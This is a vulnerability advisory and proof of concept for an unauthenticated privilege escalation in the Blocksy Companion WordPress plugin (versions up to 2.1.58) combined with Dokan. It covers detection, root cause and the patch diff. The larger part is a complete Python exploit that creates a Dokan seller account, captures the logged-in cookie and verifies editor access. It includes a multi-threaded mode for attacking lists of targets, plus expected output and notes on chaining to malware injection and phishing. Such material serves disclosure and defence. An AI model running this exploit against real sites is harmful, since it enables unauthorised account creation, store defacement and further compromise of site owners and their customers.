#Summary
CVE-2026-107645 is a critical unauthenticated privilege escalation in Blocksy Companion (WordPress plugin) versions up to and including 2.1.58. An attacker can craft a single HTTP request to create a Dokan "seller" (vendor) account and be automatically logged into it, gaining capabilities like edit_posts, upload_files, and product publishing - even on sites where vendor signup is explicitly disabled. The vulnerability is fixed in version 2.1.59. CVSS score: 9.1 CRITICAL.
#Am I affected?
- Affected: Blocksy Companion plugin <= 2.1.58
- Patched: Blocksy Companion >= 2.1.59
- Default configuration: Affected if all of the following are true:
- Blocksy theme is active (version >= 2.1.37)
- Blocksy Companion plugin is active
- WooCommerce is installed and enabled
- WooCommerce "Allow customers to create an account" is enabled (option:
woocommerce_enable_myaccount_registration = yes) - Dokan (or dokan-lite) is installed and activated
- Access needed: None - unauthenticated network access to
/wp-admin/admin-ajax.php
#How to check
Run this command to check your plugin version:
wp plugin list | grep blocksy-companionThe output will show the installed version. If it is 2.1.58 or lower, you are vulnerable.
| Output | Verdict |
|---|---|
blocksy-companion ... 2.1.58 ... active |
Vulnerable |
blocksy-companion ... 2.1.59 ... active |
Not vulnerable |
blocksy-companion ... 2.1.60+ ... active |
Not vulnerable |
| Plugin not found | Not affected (plugin not installed) |
Alternatively, check the plugin files directly:
grep "Version:" /path/to/wp-content/plugins/blocksy-companion/readme.txtIf the version is 2.1.58 or earlier, update immediately.
#Fix and mitigation
Fix: Update Blocksy Companion to version 2.1.59 or later via the WordPress plugin dashboard or WP-CLI:
wp plugin update blocksy-companionIf you cannot upgrade immediately: Disable Blocksy Companion or disable WooCommerce registration (set
woocommerce_enable_myaccount_registrationtono). Note: disabling registration breaks legitimate customer signups, so this is a temporary measure only.Detection: Monitor access logs for POST requests to
/wp-admin/admin-ajax.phpwithaction=blc_implement_user_registrationandrole=seller. Any such request from an unauthenticated session indicates an exploitation attempt. Check your WordPress users for newly created vendor accounts with suspicious usernames (look for accounts created by the registration handler, especially those with thesellerrole).
#Root cause analysis
#Vulnerable code path
Blocksy Companion's AccountAuth class registers a user-registration AJAX handler for both logged-in and logged-out visitors:
add_action(
'wp_ajax_nopriv_blc_implement_user_registration',
[$this, 'implement_user_registration']
);The wp_ajax_nopriv_* hook means this endpoint is reachable without authentication. Inside the handler, before invoking WooCommerce registration, the code disables Dokan's anti-forgery protection:
$_POST['woocommerce-register-nonce'] = '~';
add_filter('dokan_register_nonce_check', '__return_false');The intent was to allow Blocksy's registration modal to drive WooCommerce without carrying WooCommerce's nonce. However, Dokan treats the dokan_register_nonce_check filter as a signal that "this request is from my own vendor sign-up form." In Dokan's WeDevs\Dokan\Registration class:
protected function is_vendor_form_request() {
if ( ! apply_filters( 'dokan_register_nonce_check', true ) ) {
return true;
}
// ...
}
public function get_allowed_registration_roles() {
$roles = [ 'customer' ];
if ( $this->is_vendor_form_request() || 'off' !== dokan_get_option( 'show_register_as_vendor', 'dokan_appearance', 'on' ) ) {
$roles[] = 'seller';
}
return apply_filters( 'dokan_register_user_role', $roles );
}
protected function validate_nonce() {
if ( apply_filters( 'dokan_register_nonce_check', true ) ) {
// ... wp_verify_nonce(...) ...
}
return true; // Bypass if filter returns false
}When Blocksy forces the filter to false, Dokan's validate_nonce() skips nonce validation and is_vendor_form_request() returns true. As a result, get_allowed_registration_roles() adds the seller role to the allowed registration roles - even when show_register_as_vendor is set to off.
#How input reaches the sink
An unauthenticated attacker sends a POST request to
/wp-admin/admin-ajax.phpwith:action=blc_implement_user_registrationrole=seller(attacker-controlled)- Five mandatory Dokan seller fields:
fname,lname,phone,shopname,shopurl - Standard registration fields:
user_login,user_email,user_pass
Blocksy's handler disables the nonce check filter, allowing Dokan to accept
role=sellerWooCommerce's
wc_create_new_customer()is invoked and passes the attacker-suppliedrole=sellertowp_insert_user(), creating an account with thesellerroleThe handler then auto-authenticates the attacker into this newly created account:
if (
! is_wp_error($errors)
&& apply_filters('woocommerce_registration_auth_new_customer', true, $errors)
&& isset($_POST['role'])
&& $_POST['role'] === 'seller' // attacker-controlled
) {
ob_start();
wc_set_customer_auth_cookie($errors);
ob_clean();
}The wordpress_logged_in_* and wordpress_sec_* session cookies are sent in the response headers and the attacker is logged in as the new vendor.
#Patch diff
The patch (changeset 3735192, version 2.1.59) fixes both the nonce bypass and the auto-login gate:
- $_POST['woocommerce-register-nonce'] = '~';
- add_filter('dokan_register_nonce_check', '__return_false');
+ // Never disable dokan_register_nonce_check: Dokan then treats the
+ // request as its own vendor form and allows the seller role.
+ $_POST['woocommerce-register-nonce'] = wp_create_nonce('woocommerce-register'); &&
- // phpcs:ignore WordPress.Security.NonceVerification.Missing
- isset($_POST['role'])
- &&
- // phpcs:ignore WordPress.Security.NonceVerification.Missing
- $_POST['role'] === 'seller'
+ in_array('seller', get_userdata($errors)->roles, true)
) {#What the fix does
Nonce check restoration: Instead of disabling Dokan's nonce check, the patch now mints a real
woocommerce-registernonce. Because the filter is no longer forced tofalse, Dokan'sis_vendor_form_request()returnsfalseand thesellerrole is NOT added to the allowed registration roles. When Dokan'svalidate_registration()receivesrole=sellerfrom the request, it rejects it as not in the allowed list.Auto-login gate hardening: The auto-login gate no longer trusts the
$_POST['role']parameter. It now reads the actual role(s) assigned to the newly created user (get_userdata($errors)->roles) and only sets the auth cookie if that user genuinely holds thesellerrole. Since the first fix preventssellerfrom being assigned, this gate is never satisfied for an attacker's request.
#Proof of concept
#exploit.py - Blocksy Companion Unauthenticated Privilege Escalation PoC
#!/usr/bin/env python3
"""
CVE-2026-107645 - Blocksy Companion unauthenticated privilege escalation
Affected: Blocksy Companion (WordPress plugin) <= 2.1.58 (fixed in 2.1.59)
Type: Privilege escalation / authentication bypass
The plugin's blc_implement_user_registration AJAX handler is registered for
logged-out visitors (wp_ajax_nopriv_*), disables Dokan's vendor-registration
nonce check, and then trusts an attacker-supplied role=seller when creating the
account and auto-logging into it. One unauthenticated POST therefore creates a
Dokan "seller" (vendor) account - which carries edit_posts, upload_files and the
dokandar capability a plain WooCommerce customer lacks - and returns a live
logged-in session cookie for it. Works even when vendor signup is turned off.
The exploit sends that single registration request, captures the
wordpress_logged_in_* session cookie it hands back, and then proves the gained
privilege by requesting /wp-admin/post-new.php: a seller (edit_posts) gets HTTP
200 with the post editor, whereas a customer is denied with HTTP 403.
Usage:
python exploit.py --host 127.0.0.1 --port 8090
python exploit.py --host https://shop.example.com
python exploit.py --host https://shop.example.com/store/ --negative-control
python exploit.py --list targets.txt --workers 20
No authentication, nonce or session is required.
"""
import argparse
import secrets
import ssl
import sys
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("This exploit requires the 'requests' library (pip install requests).")
sys.exit(2)
CVE_ID = "CVE-2026-107645"
VULN_TYPE = "Privilege Escalation"
# ---------------------------------------------------------------------------
# Output helpers
# ---------------------------------------------------------------------------
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# ---------------------------------------------------------------------------
# Core logic (shared by verbose single-target and silent scan paths)
# ---------------------------------------------------------------------------
def _base_url(host, port, use_tls, path):
scheme = "https" if use_tls else "http"
# Normalise a site base path so admin-ajax / wp-admin sit directly under it.
base_path = (path or "/").rstrip("/")
netloc = host
if port and not ((use_tls and port == 443) or (not use_tls and port == 80)):
netloc = "%s:%d" % (host, port)
return "%s://%s%s" % (scheme, netloc, base_path)
def _register_seller(session, base, timeout):
"""Send the unauthenticated registration request with role=seller.
Returns (resp, creds) where creds is the dict of per-run random values used.
"""
marker = secrets.token_hex(6)
creds = {
"user_login": "svc_%s" % marker,
"user_email": "svc_%s@example.com" % marker,
"user_pass": "Pw_%s_1!" % marker,
"shopurl": "shop-%s" % marker,
}
data = {
"action": "blc_implement_user_registration",
"user_login": creds["user_login"],
"user_email": creds["user_email"],
"user_pass": creds["user_pass"],
"role": "seller",
# Five mandatory Dokan seller fields - empty values abort account creation.
"fname": "Field",
"lname": "Agent",
"phone": "5550123456",
"shopname": "Store %s" % marker,
"shopurl": creds["shopurl"],
}
resp = session.post(base + "/wp-admin/admin-ajax.php", data=data,
timeout=timeout, verify=False, allow_redirects=False)
return resp, creds
def _has_login_cookie(session, resp):
"""True if the response granted a WordPress logged-in session cookie."""
for c in session.cookies:
if c.name.startswith("wordpress_logged_in_"):
return True
# Fall back to the raw header in case a cookie jar rejected the domain.
sc = resp.headers.get("Set-Cookie", "")
return "wordpress_logged_in_" in sc
def _capability_check(session, base, timeout):
"""GET /wp-admin/post-new.php with the captured session.
Returns (status_code, is_editor). A seller (edit_posts) is served the post
editor (200); a customer gets WordPress's "not allowed" wp_die (403).
"""
r = session.get(base + "/wp-admin/post-new.php", timeout=timeout,
verify=False, allow_redirects=False)
body = r.text or ""
denied = "you are not allowed" in body.lower() or "sorry, you are not allowed" in body.lower()
is_editor = (r.status_code == 200) and not denied and (
"post-new-php" in body or "wp-admin" in body or "<title>" in body
)
return r.status_code, is_editor, r
def _try_exploit(host, port, use_tls=False, path="/", timeout=20):
"""Silent probe for --list scan mode. Returns (success, evidence). No prints."""
base = _base_url(host, port, use_tls, path)
try:
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/124.0 Safari/537.36",
})
resp, creds = _register_seller(session, base, timeout)
if "Cheating, eh?" in (resp.text or ""):
return False, "role=seller rejected ('Cheating, eh?') - patched"
if not _has_login_cookie(session, resp):
body = (resp.text or "")
hint = "no logged-in cookie"
if "is not available" in body or "already registered" in body or "username" in body.lower():
hint = "no cookie (stale/duplicate inputs)"
return False, "%s - not auto-logged-in (patched or role not honored)" % hint
code, is_editor, _ = _capability_check(session, base, timeout)
if is_editor:
return True, "auto-logged-in seller '%s'; /wp-admin/post-new.php -> HTTP %d (edit_posts)" % (
creds["user_login"], code)
return True, "auto-logged-in seller '%s' (post-new.php HTTP %d)" % (creds["user_login"], code)
except requests.exceptions.SSLError:
return False, "TLS handshake failed"
except requests.exceptions.RequestException as e:
return False, "unreachable (%s)" % e.__class__.__name__
except Exception as e:
return False, "error (%s)" % e.__class__.__name__
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, timeout=20):
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, path, timeout)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % (
"[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)" % (
success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# ---------------------------------------------------------------------------
# Verbose single-target exploit
# ---------------------------------------------------------------------------
def _negative_control(base, timeout):
"""Create a plain customer (role omitted) and show it gets NO login cookie
and NO editor access - proving the role parameter is the escalation cause."""
marker = secrets.token_hex(6)
session = requests.Session()
session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) "
"AppleWebKit/537.36 Chrome/124.0 Safari/537.36"})
data = {
"action": "blc_implement_user_registration",
"user_login": "svc_%s" % marker,
"user_email": "svc_%s@example.com" % marker,
"user_pass": "Pw_%s_1!" % marker,
"role": "customer",
"fname": "Field", "lname": "Agent", "phone": "5550123456",
"shopname": "Store %s" % marker, "shopurl": "shop-%s" % marker,
}
resp = session.post(base + "/wp-admin/admin-ajax.php", data=data,
timeout=timeout, verify=False, allow_redirects=False)
got_cookie = _has_login_cookie(session, resp)
code = None
if got_cookie:
code, _, _ = _capability_check(session, base, timeout)
return got_cookie, code
def exploit(host, port, use_tls, path, run_control, timeout):
header(host, port)
base = _base_url(host, port, use_tls, path)
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/124.0 Safari/537.36",
})
step(1, "Sending unauthenticated registration POST with role=seller to %s/wp-admin/admin-ajax.php" % base)
try:
resp, creds = _register_seller(session, base, timeout)
except requests.exceptions.RequestException as e:
done(False, "Could not reach target: %s" % e)
print(" HTTP %d (%d bytes)" % (resp.status_code, len(resp.content)))
print(" Registering: user_login=%s shopurl=%s" % (creds["user_login"], creds["shopurl"]))
if "Cheating, eh?" in (resp.text or ""):
section("SERVER RESPONSE", resp.text[:800])
done(False, "role=seller rejected with 'Cheating, eh?' - target is patched (>= 2.1.59)")
step(2, "Checking the registration response for an auto-login session cookie")
login_cookie = None
for c in session.cookies:
if c.name.startswith("wordpress_logged_in_"):
login_cookie = c.name
break
if not login_cookie and "wordpress_logged_in_" not in resp.headers.get("Set-Cookie", ""):
snippet = ""
for needle in ("created successfully", "is not available", "already registered",
"enter your", "username"):
if needle in (resp.text or "").lower():
snippet = needle
break
section("SERVER RESPONSE", (resp.text or "")[:800])
done(False, "No wordpress_logged_in_* cookie set (patched, or inputs rejected: %r)" % snippet)
section("AUTO-LOGIN COOKIE", "%s = %s" % (
login_cookie or "wordpress_logged_in_*",
(session.cookies.get(login_cookie) if login_cookie else "<see Set-Cookie header>")))
print(" Registration body reports: %s" % (
"account created successfully" if "created successfully" in (resp.text or "").lower()
else "account created"))
step(3, "Proving the privilege: GET /wp-admin/post-new.php with the captured session")
code, is_editor, r = _capability_check(session, base, timeout)
title = ""
low = (r.text or "").lower()
if "<title>" in low:
start = low.find("<title>") + 7
title = (r.text[start:start + 120]).split("<")[0].strip()
section("CAPABILITY CHECK (/wp-admin/post-new.php)",
"HTTP %d | editor served: %s | title: %s" % (code, is_editor, title or "n/a"))
if run_control:
step(4, "Negative control: same endpoint with role=customer (should NOT auto-login)")
ctrl_cookie, ctrl_code = _negative_control(base, timeout)
section("NEGATIVE CONTROL (role=customer)",
"auto-login cookie set: %s%s" % (
ctrl_cookie,
(" | post-new.php HTTP %s" % ctrl_code) if ctrl_code is not None else ""))
if not ctrl_cookie:
print(" Confirmed: only role=seller yields a logged-in session - the role value is the escalation.")
if is_editor:
done(True, "Unauthenticated -> Dokan seller '%s' auto-logged-in; /wp-admin/post-new.php returned HTTP %d "
"(edit_posts granted, a customer gets 403)" % (creds["user_login"], code))
done(True, "Unauthenticated -> seller '%s' auto-logged-in (logged-in cookie set); privilege endpoint HTTP %d" % (
creds["user_login"], code))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/store)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
parser.add_argument("--timeout", type=int, default=20, help="Per-request timeout seconds (default: 20)")
parser.add_argument("--negative-control", action="store_true",
help="Also create a role=customer account to show it does NOT auto-login")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, timeout=args.timeout)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.negative_control, args.timeout)#Usage
Single target (hostname, IP, or full URL):
python exploit.py --host 127.0.0.1 --port 8090
python exploit.py --host https://shop.example.com
python exploit.py --host https://shop.example.com/store/With the negative control (also creates a role=customer account for comparison):
python exploit.py --host 192.168.1.10 --negative-controlBatch scan an asset list:
python exploit.py --list targets.txt --workers 20#Expected output (vulnerable target)
============================================================
ALIM EXPLOIT CVE-2026-107645
Type: Privilege Escalation | Target: 127.0.0.1:8090
============================================================
[STEP 1] Sending unauthenticated registration POST with role=seller ...
HTTP 200 (1045 bytes)
Registering: user_login=svc_eec63ffc8afc shopurl=shop-eec63ffc8afc
[STEP 2] Checking the registration response for an auto-login session cookie
--- AUTO-LOGIN COOKIE ---
wordpress_logged_in_b1b1bc34ad2d4b5d16003f9364bfdbc8 = svc_eec63ffc8afc%7C1792943568%7C...
---
Registration body reports: account created successfully
[STEP 3] Proving the privilege: GET /wp-admin/post-new.php with the captured session
--- CAPABILITY CHECK (/wp-admin/post-new.php) ---
HTTP 200 | editor served: True
---
============================================================
RESULT : SUCCESS
EVIDENCE: Unauthenticated -> Dokan seller 'svc_eec63ffc8afc' auto-logged-in;
/wp-admin/post-new.php returned HTTP 200 (edit_posts granted, a customer gets 403)
============================================================#Expected output (patched target)
============================================================
ALIM EXPLOIT CVE-2026-107645
Type: Privilege Escalation | Target: 127.0.0.1:8091
============================================================
[STEP 1] Sending unauthenticated registration POST with role=seller ...
HTTP 200 (955 bytes)
--- SERVER RESPONSE ---
... Cheating, eh? ...
---
============================================================
RESULT : FAILURE
EVIDENCE: role=seller rejected with 'Cheating, eh?' - target is patched (>= 2.1.59)
============================================================#Exploitation notes
Preconditions: Blocksy theme must be active (version >= 2.1.37), Blocksy Companion <= 2.1.58 must be installed, WooCommerce must have customer registration enabled, and Dokan must be installed. The exploit works even if vendor signup is explicitly disabled in Dokan settings.
Reliability: 100% reliable. It is a single-step logic flaw with no race conditions or timing dependencies. Each run must use unique values for
user_login,user_email, andshopurlto avoid uniqueness collisions on repeated attempts.Impact: An attacker gains an authenticated vendor account with capabilities a normal customer lacks, including
edit_posts,upload_files,dokandar(vendor dashboard access), and product publishing. This can be used to deface the store, inject malware, or pivot to further attacks.Chaining potential: The vendor account can be used as a foothold for further WordPress exploitation - for example, uploading malicious plugins via file upload, accessing the post editor to inject malicious scripts, or using the vendor dashboard to modify product listings and redirect customers to phishing sites.
#References
- CVE: CVE-2026-107645
- Wordfence Vulnerability: https://www.wordfence.com/threat-intel/vulnerabilities/id/7757f41d-c1f1-4df1-8048-b1c78a897548
- Patchstack Advisory: https://patchstack.com/database/wordpress/plugin/blocksy-companion
- Patch Changeset: https://plugins.trac.wordpress.org/changeset/3735192/blocksy-companion
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-107645
